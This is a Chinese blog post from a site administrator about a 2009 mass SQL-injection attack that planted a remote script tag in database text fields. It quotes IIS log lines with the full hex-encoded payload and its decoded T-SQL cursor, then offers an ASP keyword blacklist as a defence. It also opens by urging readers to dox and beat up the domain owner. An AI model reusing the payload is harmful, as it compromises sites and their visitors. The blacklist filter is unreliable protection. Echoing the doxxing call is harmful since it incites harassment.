近期,我管理的一个网站频繁被注入木马代码<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索这段代码,竟然可以搜到2万多的网站被注入了。这里希望大家能够帮忙人肉搜索出这个域名的所有者,进而找到那个坏蛋,揪出来痛打一顿。
查看IIS日志发现如下信息:
2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0
网上搜到211.200.141.151来自韩国首尔,估计是代理的,网上有兄弟把这段代码还原如下:
DECLARE
@T
VARCHAR
(
255
),
@C
VARCHAR
(
255
)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id = b.id AND a.xtype = ' u ' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167 )
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T , @C
WHILE ( @@FETCH_STATUS = 0 ) BEGIN EXEC ( ' UPDATE [ ' + @T + ' ] SET [ ' + @C + ' ]=RTRIM
(CONVERT(VARCHAR(4000),[ ' + @C + ' ]))+ '' <script
src=http://cn.daxia123.cn/cn.js> </script> ''' )
FETCH NEXT FROM Table_Cursor INTO @T , @C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id = b.id AND a.xtype = ' u ' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167 )
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T , @C
WHILE ( @@FETCH_STATUS = 0 ) BEGIN EXEC ( ' UPDATE [ ' + @T + ' ] SET [ ' + @C + ' ]=RTRIM
(CONVERT(VARCHAR(4000),[ ' + @C + ' ]))+ '' <script
src=http://cn.daxia123.cn/cn.js> </script> ''' )
FETCH NEXT FROM Table_Cursor INTO @T , @C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
那断代码虽然被编码过,但是还是可以看到有declare,exec,等SQL关键字,因此用通常的防注代码应该是有效的
<
%
dim sql_injdata
SQL_injdata = " '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare "
SQL_inj = split (SQL_Injdata, " | " )
If Request.QueryString <> "" Then
For Each SQL_Get In Request.QueryString
For SQL_Data = 0 To Ubound (SQL_inj)
if instr (Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA)) > 0 Then
Response.Write " <Script Language=javascript>history.back(-1);</Script> "
Response.end
end if
next
Next
End If
If Request.Form <> "" Then
For Each Sql_Post In Request.Form
For SQL_Data = 0 To Ubound (SQL_inj)
if instr (Request.Form(Sql_Post),Sql_Inj(Sql_DATA)) > 0 Then
Response.Write " <Script Language=javascript>history.back(-1);</Script> "
Response.end
end if
next
next
end if
% >
dim sql_injdata
SQL_injdata = " '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare "
SQL_inj = split (SQL_Injdata, " | " )
If Request.QueryString <> "" Then
For Each SQL_Get In Request.QueryString
For SQL_Data = 0 To Ubound (SQL_inj)
if instr (Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA)) > 0 Then
Response.Write " <Script Language=javascript>history.back(-1);</Script> "
Response.end
end if
next
Next
End If
If Request.Form <> "" Then
For Each Sql_Post In Request.Form
For SQL_Data = 0 To Ubound (SQL_inj)
if instr (Request.Form(Sql_Post),Sql_Inj(Sql_DATA)) > 0 Then
Response.Write " <Script Language=javascript>history.back(-1);</Script> "
Response.end
end if
next
next
end if
% >
如果还不行的话,有种更简单的方法就是从那段被编码的语句中截取一段作为被过滤的字符集之一,例如:
SQL_injdata
=
"
'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|0x4445434C415245204054205641524348415228323535292C404320564152434841522832
"
还有一种方法是,设置从网址获取的参数的长度来判断是否是注入,因为一般的网站参数都不会那么长。
作者:山边小溪
主站:yyyweb.com 记住啦:)
欢迎任何形式的转载,但请务必注明出处。